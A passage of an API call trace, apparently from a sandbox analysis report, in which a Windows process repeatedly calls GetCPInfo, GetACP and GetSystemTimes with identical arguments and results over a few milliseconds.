lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.497] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.497] GetACP () returned 0x4e4 [0050.497] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.498] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.498] GetACP () returned 0x4e4 [0050.498] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.499] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.499] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.499] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.500] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.500] GetACP () returned 0x4e4 [0050.500] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.501] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.501] GetACP () returned 0x4e4 [0050.501] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.502] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.502] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.502] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.503] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.503] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.503] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.504] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.504] GetACP () returned 0x4e4 [0050.504] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.505] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.505] GetACP () returned 0x4e4 [0050.505] GetSystemTimes (in: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c | out: lpIdleTime=0x18fa9c, lpKernelTime=0x18fa34, lpUserTime=0x18fa3c) returned 1 [0050.506] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa80 | out: lpCPInfo=0x18fa80) returned 1 [0050.506] GetACP () returned 0x4e4 [0050.506] GetSystemTimes (in: lpIdleTime=0x18fa9c, 